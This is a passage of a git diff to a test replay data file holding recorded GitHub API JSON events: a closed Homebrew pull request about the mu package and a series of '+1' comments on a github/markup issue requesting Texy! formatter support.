X.","html_url":"https://github.com/nickstenning/homebrew","owner":{"avatar_url":"https://secure.gravatar.com/avatar/7c753fa710877b55f7596b47f5a554b1?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"7c753fa710877b55f7596b47f5a554b1","url":"https://api.github.com/users/nickstenning","id":3602,"login":"nickstenning"}},"label":"nickstenning:fix-mu","sha":"1a4c4f1a3d3a87da4a49ae4209186edc695eb715","ref":"fix-mu","user":{"avatar_url":"https://secure.gravatar.com/avatar/7c753fa710877b55f7596b47f5a554b1?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"7c753fa710877b55f7596b47f5a554b1","url":"https://api.github.com/users/nickstenning","id":3602,"login":"nickstenning"}},"number":12306,"created_at":"2012-05-18T10:18:22Z","changed_files":1,"merged_by":null,"merged":false,"body":"This patch removes a slightly insane dependency of `mu` on the `emacs` package.","comments":7,"title":"mu: don't depend on emacs","updated_at":"2012-05-20T05:19:00Z","additions":11,"diff_url":"https://github.com/mxcl/homebrew/pull/12306.diff","_links":{"html":{"href":"https://github.com/mxcl/homebrew/pull/12306"},"self":{"href":"https://api.github.com/repos/mxcl/homebrew/pulls/12306"},"comments":{"href":"https://api.github.com/repos/mxcl/homebrew/issues/12306/comments"},"issue":{"href":"https://api.github.com/repos/mxcl/homebrew/issues/12306"},"review_comments":{"href":"https://api.github.com/repos/mxcl/homebrew/pulls/12306/comments"}},"url":"https://api.github.com/repos/mxcl/homebrew/pulls/12306","id":1380202,"patch_url":"https://github.com/mxcl/homebrew/pull/12306.patch","mergeable":true,"merged_at":null,"closed_at":"2012-05-20T05:19:00Z","commits":3,"html_url":"https://github.com/mxcl/homebrew/pull/12306","user":{"avatar_url":"https://secure.gravatar.com/avatar/7c753fa710877b55f7596b47f5a554b1?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"7c753fa710877b55f7596b47f5a554b1","url":"https://api.github.com/users/nickstenning","id":3602,"login":"nickstenning"},"review_comments":0,"deletions":1,"state":"closed","base":{"repo":{"name":"homebrew","master_branch":"master","created_at":"2009-05-20T19:38:37Z","size":4436,"has_wiki":true,"clone_url":"https://github.com/mxcl/homebrew.git","updated_at":"2012-05-20T05:18:59Z","private":false,"watchers":8673,"git_url":"git://github.com/mxcl/homebrew.git","ssh_url":"git@github.com:mxcl/homebrew.git","fork":false,"url":"https://api.github.com/repos/mxcl/homebrew","language":"Ruby","id":206084,"pushed_at":"2012-05-20T05:18:59Z","svn_url":"https://github.com/mxcl/homebrew","mirror_url":null,"open_issues":423,"has_downloads":false,"has_issues":true,"homepage":"http://mxcl.github.com/homebrew","forks":3960,"description":"The missing package manager for OS X.","html_url":"https://github.com/mxcl/homebrew","owner":{"avatar_url":"https://secure.gravatar.com/avatar/25ff3dfe48d3847ecf9971aab99589fb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"25ff3dfe48d3847ecf9971aab99589fb","url":"https://api.github.com/users/mxcl","id":58962,"login":"mxcl"}},"label":"mxcl:master","sha":"7ac1cbc996e0f18aaabad5ef327ff57161e0ae2e","ref":"master","user":{"avatar_url":"https://secure.gravatar.com/avatar/25ff3dfe48d3847ecf9971aab99589fb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"25ff3dfe48d3847ecf9971aab99589fb","url":"https://api.github.com/users/mxcl","id":58962,"login":"mxcl"}}},"action":"closed"},"public":true,"repo":{"url":"https://api.github.com/repos/mxcl/homebrew","id":206084,"name":"mxcl/homebrew"},"created_at":"2012-05-20T05:19:01Z","id":"1553873936","actor":{"avatar_url":"https://secure.gravatar.com/avatar/68602fa96bdda4c677ece48ab42b6eb2?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"68602fa96bdda4c677ece48ab42b6eb2","url":"https://api.github.com/users/jacknagel","id":568243,"login":"jacknagel"}}] - diff --git a/tests/ReplayData/NamedUser.testGetReceivedEvents.txt b/tests/ReplayData/NamedUser.testGetReceivedEvents.txt index e548c61c5c..f40a73bac8 100644 --- a/tests/ReplayData/NamedUser.testGetReceivedEvents.txt +++ b/tests/ReplayData/NamedUser.testGetReceivedEvents.txt @@ -8,4 +8,3 @@ None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4941'), ('content-length', '79562'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('link', '; rel="next"'), ('etag', '"1b20f7931fdd3cb9b6f13ed739116aad"'), ('date', 'Sun, 20 May 2012 12:31:01 GMT'), ('content-type', 'application/json; charset=utf-8')] [{"type":"IssueCommentEvent","payload":{"comment":{"created_at":"2012-05-20T12:29:17Z","body":"+1","updated_at":"2012-05-20T12:29:17Z","url":"https://api.github.com/repos/github/markup/issues/comments/5808535","id":5808535,"user":{"avatar_url":"https://secure.gravatar.com/avatar/b3cb2e7b64cad46d1cd6e5d3294c12cc?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b3cb2e7b64cad46d1cd6e5d3294c12cc","url":"https://api.github.com/users/cherryboss","id":1078894,"login":"cherryboss"}},"action":"created","issue":{"number":34,"created_at":"2011-01-21T16:04:58Z","pull_request":{"diff_url":"https://github.com/github/markup/pull/34.diff","patch_url":"https://github.com/github/markup/pull/34.patch","html_url":"https://github.com/github/markup/pull/34"},"body":"Hello, I've created support for great Texy! text-to-HTML formatter and converter library (http://texy.info, http://github.com/dg/texy).\r\n\r\nHere's my implementation branch: https://github.com/smasty/markup/tree/texy","comments":23,"title":"[new markup] Texy! formatter support","updated_at":"2012-05-20T12:29:17Z","url":"https://api.github.com/repos/github/markup/issues/34","id":541804,"assignee":null,"milestone":null,"closed_at":null,"html_url":"https://github.com/github/markup/issues/34","user":{"avatar_url":"https://secure.gravatar.com/avatar/c27f2f0deb68f04a58db7b7254df893b?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"c27f2f0deb68f04a58db7b7254df893b","url":"https://api.github.com/users/smasty","id":218524,"login":"smasty"},"labels":[],"state":"open"}},"public":true,"org":{"gravatar_id":"61024896f291303615bcd4f7a0dcfb74","url":"https://api.github.com/orgs/github","id":9919,"avatar_url":"https://secure.gravatar.com/avatar/61024896f291303615bcd4f7a0dcfb74?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-orgs.png","login":"github"},"repo":{"url":"https://api.github.com/repos/github/markup","id":355893,"name":"github/markup"},"created_at":"2012-05-20T12:29:18Z","id":"1553916447","actor":{"gravatar_id":"b3cb2e7b64cad46d1cd6e5d3294c12cc","url":"https://api.github.com/users/cherryboss","id":1078894,"avatar_url":"https://secure.gravatar.com/avatar/b3cb2e7b64cad46d1cd6e5d3294c12cc?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"cherryboss"}},{"type":"IssueCommentEvent","payload":{"comment":{"created_at":"2012-05-20T12:25:03Z","body":"+1","updated_at":"2012-05-20T12:25:03Z","url":"https://api.github.com/repos/github/markup/issues/comments/5808513","id":5808513,"user":{"avatar_url":"https://secure.gravatar.com/avatar/1cf1c7870c060e3d6e9bba907869deac?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"1cf1c7870c060e3d6e9bba907869deac","url":"https://api.github.com/users/Aurielle","id":144428,"login":"Aurielle"}},"action":"created","issue":{"number":34,"created_at":"2011-01-21T16:04:58Z","pull_request":{"diff_url":"https://github.com/github/markup/pull/34.diff","patch_url":"https://github.com/github/markup/pull/34.patch","html_url":"https://github.com/github/markup/pull/34"},"comments":22,"title":"[new markup] Texy! formatter support","body":"Hello, I've created support for great Texy! text-to-HTML formatter and converter library (http://texy.info, http://github.com/dg/texy).\r\n\r\nHere's my implementation branch: https://github.com/smasty/markup/tree/texy","updated_at":"2012-05-20T12:25:03Z","url":"https://api.github.com/repos/github/markup/issues/34","id":541804,"assignee":null,"milestone":null,"closed_at":null,"html_url":"https://github.com/github/markup/issues/34","user":{"avatar_url":"https://secure.gravatar.com/avatar/c27f2f0deb68f04a58db7b7254df893b?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"c27f2f0deb68f04a58db7b7254df893b","url":"https://api.github.com/users/smasty","id":218524,"login":"smasty"},"labels":[],"state":"open"}},"public":true,"org":{"gravatar_id":"61024896f291303615bcd4f7a0dcfb74","url":"https://api.github.com/orgs/github","id":9919,"avatar_url":"https://secure.gravatar.com/avatar/61024896f291303615bcd4f7a0dcfb74?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-orgs.png","login":"github"},"repo":{"url":"https://api.github.com/repos/github/markup","id":355893,"name":"github/markup"},"created_at":"2012-05-20T12:25:06Z","id":"1553916062","actor":{"gravatar_id":"1cf1c7870c060e3d6e9bba907869deac","url":"https://api.github.com/users/Aurielle","id":144428,"avatar_url":"https://secure.gravatar.com/avatar/1cf1c7870c060e3d6e9bba907869deac?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"Aurielle"}},{"type":"IssueCommentEvent","payload":{"comment":{"created_at":"2012-05-20T12:23:10Z","body":"+1","updated_at":"2012-05-20T12:23:10Z","url":"https://api.github.com/repos/github/markup/issues/comments/5808502","id":5808502,"user":{"avatar_url":"https://secure.gravatar.com/avatar/19a6b06bab555481b203b024e5761567?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"19a6b06bab555481b203b024e5761567","url":"https://api.github.com/users/janmarek","id":150257,"login":"janmarek"}},"action":"created","issue":{"number":34,"created_at":"2011-01-21T16:04:58Z","pull_request":{"diff_url":"https://github.com/github/markup/pull/34.diff","patch_url":"https://github.com/github/markup/pull/34.patch","html_url":"https://github.com/github/markup/pull/34"},"comments":21,"body":"Hello, I've created support for great Texy! text-to-HTML formatter and converter library (http://texy.info, http://github.com/dg/texy).\r\n\r\nHere's my implementation branch: https://github.com/smasty/markup/tree/texy","title":"[new markup] Texy! formatter support","updated_at":"2012-05-20T12:23:10Z","url":"https://api.github.com/repos/github/markup/issues/34","id":541804,"assignee":null,"milestone":null,"closed_at":null,"html_url":"https://github.com/github/markup/issues/34","user":{"avatar_url":"https://secure.gravatar.com/avatar/c27f2f0deb68f04a58db7b7254df893b?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"c27f2f0deb68f04a58db7b7254df893b","url":"https://api.github.com/users/smasty","id":218524,"login":"smasty"},"labels":[],"state":"open"}},"public":true,"org":{"gravatar_id":"61024896f291303615bcd4f7a0dcfb74","url":"https://api.github.com/orgs/github","id":9919,"avatar_url":"https://secure.gravatar.com/avatar/61024896f291303615bcd4f7a0dcfb74?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-orgs.png","login":"github"},"repo":{"url":"https://api.github.com/repos/github/markup","id":355893,"name":"github/markup"},"created_at":"2012-05-20T12:23:10Z","id":"1553915882","actor":{"gravatar_id":"19a6b06bab555481b203b024e5761567","url":"https://api.github.com/users/janmarek","id":150257,"avatar_url":"https://secure.gravatar.com/avatar/19a6b06bab555481b203b024e5761567?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"janmarek"}},{"type":"IssueCommentEvent","payload":{"comment":{"created_at":"2012-05-20T12:22:47Z","body":"+1","updated_at":"2012-05-20T12:22:47Z","url":"https://api.github.com/repos/github/markup/issues/comments/5808501","id":5808501,"user":{"avatar_url":"https://secure.gravatar.com/avatar/e9de61b5196e93a3db50330622319687?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"e9de61b5196e93a3db50330622319687","url":"https://api.github.com/users/Jirda","id":888765,"login":"Jirda"}},"action":"created","issue":{"number":34,"created_at":"2011-01-21T16:04:58Z","pull_request":{"diff_url":"https://github.com/github/markup/pull/34.diff","patch_url":"https://github.com/github/markup/pull/34.patch","html_url":"https://github.com/github/markup/pull/34"},"body":"Hello, I've created support for great Texy! text-to-HTML formatter and converter library (http://texy.info, http://github.com/dg/texy).\r\n\r\nHere's my implementation branch: https://github.com/smasty/markup/tree/texy","title":"[new markup] Texy! formatter support","comments":20,"updated_at":"2012-05-20T12:22:47Z","url":"https://api.github.com/repos/github/markup/issues/34","id":541804,"assignee":null,"milestone":null,"closed_at":null,"html_url":"https://github.com/github/markup/issues/34","user":{"avatar_url":"https://secure.gravatar.com/avatar/c27f2f0deb68f04a58db7b7254df893b?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"c27f2f0deb68f04a58db7b7254df893b","url":"https://api.github.com/users/smasty","id":218524,"login":"smasty"},"labels":[],"state":"open"}},"public":true,"org":{"gravatar_id":"61024896f291303615bcd4f7a0dcfb74","url":"https://api.github.com/orgs/github","id":9919,"avatar_url":"https://secure.gravatar.com/avatar/61024896f291303615bcd4f7a0dcfb74?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-orgs.png","login":"github"},"repo":{"url":"https://api.github.com/repos/github/markup","id":355893,"name":"github/markup"},"created_at":"2012-05-20T12:22:48Z","id":"1553915852","actor":{"gravatar_id":"e9de61b5196e93a3db50330622319687","url":"https://api.github.com/users/Jirda","id":888765,"avatar_url":"https://secure.gravatar.com/avatar/e9de61b5196e93a3db50330622319687?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"Jirda"}},{"type":"IssueCommentEvent","payload":{"comment":{"created_at":"2012-05-20T12:22:42Z","body":"+1","updated_at":"2012-05-20T12:22:42Z","url":"https://api.github.com/repos/github/markup/issues/comments/5808500","id":5808500,"user":{"avatar_url":"https://secure.gravatar.com/avatar/73997373b9f2e330bc4ed2dff3ad8561?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"73997373b9f2e330bc4ed2dff3ad8561","url":"https://api.github.com/users/NeosinneR","id":470616,"login":"NeosinneR"}},"action":"created","issue":{"number":34,"created_at":"2011-01-21T16:04:58Z","pull_request":{"diff_url":"https://github.com/github/markup/pull/34.diff","patch_url":"https://github.com/github/markup/pull/34.patch","html_url":"https://github.com/github/markup/pull/34"},"body":"Hello, I've created support for great Texy! text-to-HTML formatter and converter library (http://texy.info, http://github.com/dg/texy).\r\n\r\nHere's my implementation branch: https://github.com/smasty/markup/tree/texy","title":"[new markup] Texy! formatter support","comments":19,"updated_at":"2012-05-20T12:22:42Z","url":"https://api.github.com/repos/github/markup/issues/34","id":541804,"assignee":null,"milestone":null,"closed_at":null,"html_url":"https://github.com/github/markup/issues/34","user":{"avatar_url":"https://secure.gravatar.com/avatar/c27f2f0deb68f04a58db7b7254df893b?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"c27f2f0deb68f04a58db7b7254df893b","url":"https://api.github.com/users/smasty","id":218524,"login":"smasty"},"labels":[],"state":"open"}},"public":true,"org":{"gravatar_id":"61024896f291303615bcd4f7a0dcfb74","url":"https://api.github.com/orgs/github","id":9919,"avatar_url":"https://secure.gravatar.com/avatar/61024896f291303615bcd4f7a0dcfb74?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-orgs.png","login":"github"},"repo":{"url":"https://api.github.com/repos/github/markup","id":355893,"name":"github/markup"},"created_at":"2012-05-20T12:22:43Z","id":"1553915842","actor":{"gravatar_id":"73997373b9f2e330bc4ed2dff3ad8561","url":"https://api.github.com/users/NeosinneR","id":470616,"avatar_url":"https://secure.gravatar.com/avatar/73997373b9f2e330bc4ed2dff3ad8561?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"NeosinneR"}},{"type":"IssueCommentEvent","payload":{"comment":{"created_at":"2012-05-20T12:21:39Z","body":"+1","updated_at":"2012-05-20T12:21:39Z","url":"https://api.github.com/repos/github/markup/issues/comments/5808494","id":5808494,"user":{"avatar_url":"https://secure.gravatar.com/avatar/6f055df11c2384360588bff39eca3179?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"6f055df11c2384360588bff39eca3179","url":"https://api.github.com/users/Acnnair","id":198089,"login":"Acnnair"}},"action":"created","issue":{"number":34,"pull_request":{"diff_url":"https://github.com/github/markup/pull/34.diff","patch_url":"https://github.com/github/markup/pull/34.patch","html_url":"https://github.com/github/markup/pull/34"},"created_at":"2011-01-21T16:04:58Z","comments":18,"body":"Hello, I've created support for great Texy! text-to-HTML formatter and converter library (http://texy.info, http://github.com/dg/texy).\r\n\r\nHere's my implementation branch: https://github.com/smasty/markup/tree/texy","title":"[new markup] Texy! formatter support","updated_at":"2012-05-20T12:21:39Z","url":"https://api.github.com/repos/github/markup/issues/34","id":541804,"assignee":null,"milestone":null,"closed_at":null,"user":{"avatar_url":"https://secure.gravatar.com/avatar/c27f2f0deb68f04a58db7b7254df893b?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"c27f2f0deb68f04a58db7b7254df893b","url":"https://api.github.com/users/smasty","id":218524,"login":"smasty"},"html_url":"https://github.com/github/markup/issues/34","labels":[],"state":"open"}},"public":true,"org":{"gravatar_id":"61024896f291303615bcd4f7a0dcfb74","url":"https://api.github.com/orgs/github","id":9919,"avatar_url":"https://secure.gravatar.com/avatar/61024896f291303615bcd4f7a0dcfb74?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-orgs.png","login":"github"},"repo":{"url":"https://api.github.com/repos/github/markup","id":355893,"name":"github/markup"},"created_at":"2012-05-20T12:21:39Z","id":"1553915747","actor":{"gravatar_id":"6f055df11c2384360588bff39eca3179","url":"https://api.github.com/users/Acnnair","id":198089,"avatar_url":"https://secure.gravatar.com/avatar/6f055df11c2384360588bff39eca3179?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"Acnnair"}},{"type":"IssueCommentEvent","payload":{"comment":{"created_at":"2012-05-20T12:21:18Z","body":"+ 01 :)","updated_at":"2012-05-20T12:21:18Z","url":"https://api.github.com/repos/github/markup/issues/comments/5808490","id":5808490,"user":{"avatar_url":"https://secure.gravatar.com/avatar/39e7b53a5166503123d4b99ad3b959b9?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"39e7b53a5166503123d4b99ad3b959b9","url":"https://api.github.com/users/adamtomecek","id":157048,"login":"adamtomecek"}},"action":"created","issue":{"number":34,"created_at":"2011-01-21T16:04:58Z","pull_request":{"diff_url":"https://github.com/github/markup/pull/34.diff","patch_url":"https://github.com/github/markup/pull/34.patch","html_url":"https://github.com/github/markup/pull/34"},"comments":17,"title":"[new markup] Texy! formatter support","body":"Hello, I've created support for great Texy! text-to-HTML formatter and converter library (http://texy.info, http://github.com/dg/texy).\r\n\r\nHere's my implementation branch: https://github.com/smasty/markup/tree/texy","updated_at":"2012-05-20T12:21:18Z","url":"https://api.github.com/repos/github/markup/issues/34","id":541804,"assignee":null,"milestone":null,"closed_at":null,"html_url":"https://github.com/github/markup/issues/34","user":{"avatar_url":"https://secure.gravatar.com/avatar/c27f2f0deb68f04a58db7b7254df893b?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"c27f2f0deb68f04a58db7b7254df893b","url":"https://api.github.com/users/smasty","id":218524,"login":"smasty"},"labels":[],"state":"open"}},"public":true,"org":{"gravatar_id":"61024896f291303615bcd4f7a0dcfb74","url":"https://api.github.com/orgs/github","id":9919,"avatar_url":"https://secure.gravatar.com/avatar/61024896f291303615bcd4f7a0dcfb74?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-orgs.png","login":"github"},"repo":{"url":"https://api.github.com/repos/github/markup","id":355893,"name":"github/markup"},"created_at":"2012-05-20T12:21:18Z","id":"1553915704","actor":{"gravatar_id":"39e7b53a5166503123d4b99ad3b959b9","url":"https://api.github.com/users/adamtomecek","id":157048,"avatar_url":"https://secure.gravatar.com/avatar/39e7b53a5166503123d4b99ad3b959b9?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"adamtomecek"}},{"type":"IssueCommentEvent","payload":{"comment":{"created_at":"2012-05-20T12:20:43Z","body":"+1","updated_at":"2012-05-20T12:20:43Z","url":"https://api.github.com/repos/github/markup/issues/comments/5808487","id":5808487,"user":{"avatar_url":"https://secure.gravatar.com/avatar/d8fe8d5f9012e9e1d76f19e05eedcc73?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"d8fe8d5f9012e9e1d76f19e05eedcc73","url":"https://api.github.com/users/Marax","id":402625,"login":"Marax"}},"action":"created","issue":{"number":34,"created_at":"2011-01-21T16:04:58Z","pull_request":{"diff_url":"https://github.com/github/markup/pull/34.diff","patch_url":"https://github.com/github/markup/pull/34.patch","html_url":"https://github.com/github/markup/pull/34"},"body":"Hello, I've created support for great Texy! text-to-HTML formatter and converter library (http://texy.info, http://github.com/dg/texy).\r\n\r\nHere's my implementation branch: https://github.com/smasty/markup/tree/texy","comments":16,"title":"[new markup] Texy! formatter support","updated_at":"2012-05-20T12:20:43Z","url":"https://api.github.com/repos/github/markup/issues/34","id":541804,"assignee":null,"milestone":null,"closed_at":null,"html_url":"https://github.com/github/markup/issues/34","user":{"avatar_url":"https://secure.gravatar.com/avatar/c27f2f0deb68f04a58db7b7254df893b?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"c27f2f0deb68f04a58db7b7254df893b","url":"https://api.github.com/users/smasty","id":218524,"login":"smasty"},"labels":[],"state":"open"}},"public":true,"org":{"gravatar_id":"61024896f291303615bcd4f7a0dcfb74","url":"https://api.github.com/orgs/github","id":9919,"avatar_url":"https://secure.gravatar.com/avatar/61024896f291303615bcd4f7a0dcfb74?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-orgs.png","login":"github"},"repo":{"url":"https://api.github.com/repos/github/markup","id":355893,"name":"github/markup"},"created_at":"2012-05-20T12:20:43Z","id":"1553915653","actor":{"gravatar_id":"d8fe8d5f9012e9e1d76f19e05eedcc73","url":"https://api.github.com/users/Marax","id":402625,"avatar_url":"https://secure.gravatar.com/avatar/d8fe8d5f9012e9e1d76f19e05eedcc73?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"Marax"}},{"type":"IssueCommentEvent","payload":{"comment":{"created_at":"2012-05-20T12:15:29Z","body":"+1","updated_at":"2012-05-20T12:15:29Z","url":"https://api.github.com/repos/github/markup/issues/comments/5808456","id":5808456,"user":{"avatar_url":"https://secure.gravatar.com/avatar/c41460d1cfc23cbc64a2639f753d8b70?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"c41460d1cfc23cbc64a2639f753d8b70","url":"https://api.github.com/users/MartinSadovy","id":179039,"login":"MartinSadovy"}},"action":"created","issue":{"number":34,"created_at":"2011-01-21T16:04:58Z","pull_request":{"diff_url":"https://github.com/github/markup/pull/34.diff","patch_url":"https://github.com/github/markup/pull/34.patch","html_url":"https://github.com/github/markup/pull/34"},"body":"Hello, I've created support for great Texy! text-to-HTML formatter and converter library (http://texy.info, http://github.com/dg/texy).\r\n\r\nHere's my implementation branch: https://github.com/smasty/markup/tree/texy","comments":15,"title":"[new markup] Texy! formatter support","updated_at":"2012-05-20T12:15:29Z","url":"https://api.github.com/repos/github/markup/issues/34","id":541804,"assignee":null,"milestone":null,"closed_at":null,"html_url":"https://github.com/github/markup/issues/34","user":{"avatar_url":"https://secure.gravatar.com/avatar/c27f2f0deb68f04a58db7b7254df893b?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"c27f2f0deb68f04a58db7b7254df893b","url":"https://api.github.com/users/smasty","id":218524,"login":"smasty"},"labels":[],"state":"open"}},"public":true,"org":{"gravatar_id":"61024896f291303615bcd4f7a0dcfb74","url":"https://api.github.com/orgs/github","id":9919,"avatar_url":"https://secure.gravatar.com/avatar/61024896f291303615bcd4f7a0dcfb74?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-orgs.png","login":"github"},"repo":{"url":"https://api.github.com/repos/github/markup","id":355893,"name":"github/markup"},"created_at":"2012-05-20T12:15:30Z","id":"1553915168","actor":{"gravatar_id":"c41460d1cfc23cbc64a2639f753d8b70","url":"https://api.github.com/users/MartinSadovy","id":179039,"avatar_url":"https://secure.gravatar.com/avatar/c41460d1cfc23cbc64a2639f753d8b70?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"MartinSadovy"}},{"type":"IssueCommentEvent","payload":{"comment":{"created_at":"2012-05-20T12:13:14Z","body":"+1","updated_at":"2012-05-20T12:13:14Z","url":"https://api.github.com/repos/github/markup/issues/comments/5808447","id":5808447,"user":{"avatar_url":"https://secure.gravatar.com/avatar/6f4840694cd92f20ce0df5233bbc04b0?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"6f4840694cd92f20ce0df5233bbc04b0","url":"https://api.github.com/users/HosipLan","id":158625,"login":"HosipLan"}},"action":"created","issue":{"number":34,"created_at":"2011-01-21T16:04:58Z","pull_request":{"diff_url":"https://github.com/github/markup/pull/34.diff","patch_url":"https://github.com/github/markup/pull/34.patch","html_url":"https://github.com/github/markup/pull/34"},"body":"Hello, I've created support for great Texy! text-to-HTML formatter and converter library (http://texy.info, http://github.com/dg/texy).\r\n\r\nHere's my implementation branch: https://github.com/smasty/markup/tree/texy","title":"[new markup] Texy! formatter support","comments":14,"updated_at":"2012-05-20T12:13:14Z","url":"https://api.github.com/repos/github/markup/issues/34","id":541804,"assignee":null,"milestone":null,"closed_at":null,"html_url":"https://github.com/github/markup/issues/34","user":{"avatar_url":"https://secure.gravatar.com/avatar/c27f2f0deb68f04a58db7b7254df893b?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"c27f2f0deb68f04a58db7b7254df893b","url":"https://api.github.com/users/smasty","id":218524,"login":"smasty"},"labels":[],"state":"open"}},"public":true,"org":{"gravatar_id":"61024896f291303615bcd4f7a0dcfb74","url":"https://api.github.com/orgs/github","id":9919,"avatar_url":"https://secure.gravatar.com/avatar/61024896f291303615bcd4f7a0dcfb74?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-orgs.png","login":"github"},"repo":{"url":"https://api.github.com/repos/github/markup","id":355893,"name":"github/markup"},"created_at":"2012-05-20T12:13:15Z","id":"1553914970","actor":{"gravatar_id":"6f4840694cd92f20ce0df5233bbc04b0","url":"https://api.github.com/users/HosipLan","id":158625,"avatar_url":"https://secure.gravatar.com/avatar/6f4840694cd92f20ce0df5233bbc04b0?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"HosipLan"}},{"type":"IssueCommentEvent","payload":{"comment":{"created_at":"2012-05-20T12:05:45Z","body":"+1","updated_at":"2012-05-20T12:05:45Z","url":"https://api.github.com/repos/github/markup/issues/comments/5808414","id":5808414,"user":{"avatar_url":"https://secure.gravatar.com/avatar/6ed2b9a3737b1c2ad7fcb1a82fd379bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"6ed2b9a3737b1c2ad7fcb1a82fd379bb","url":"https://api.github.com/users/Lopo","id":279973,"login":"Lopo"}},"action":"created","issue":{"number":34,"created_at":"2011-01-21T16:04:58Z","pull_request":{"diff_url":"https://github.com/github/markup/pull/34.diff","patch_url":"https://github.com/github/markup/pull/34.patch","html_url":"https://github.com/github/markup/pull/34"},"body":"Hello, I've created support for great Texy! text-to-HTML formatter and converter library (http://texy.info, http://github.com/dg/texy).\r\n\r\nHere's my implementation branch: https://github.com/smasty/markup/tree/texy","title":"[new markup] Texy! formatter support","comments":13,"updated_at":"2012-05-20T12:05:45Z","url":"https://api.github.com/repos/github/markup/issues/34","id":541804,"assignee":null,"milestone":null,"closed_at":null,"html_url":"https://github.com/github/markup/issues/34","user":{"avatar_url":"https://secure.gravatar.com/avatar/c27f2f0deb68f04a58db7b7254df893b?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"c27f2f0deb68f04a58db7b7254df893b","url":"https://api.github.com/users/smasty","id":218524,"login":"smasty"},"labels":[],"state":"open"}},"public":true,"org":{"gravatar_id":"61024896f291303615bcd4f7a0dcfb74","url":"https://api.github.com/orgs/github","id":9919,"avatar_url":"https://secure.gravatar.com/avatar/61024896f291303615bcd4f7a0dcfb74?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-orgs.png","login":"github"},"repo":{"url":"https://api.github.com/repos/github/markup","id":355893,"name":"github/m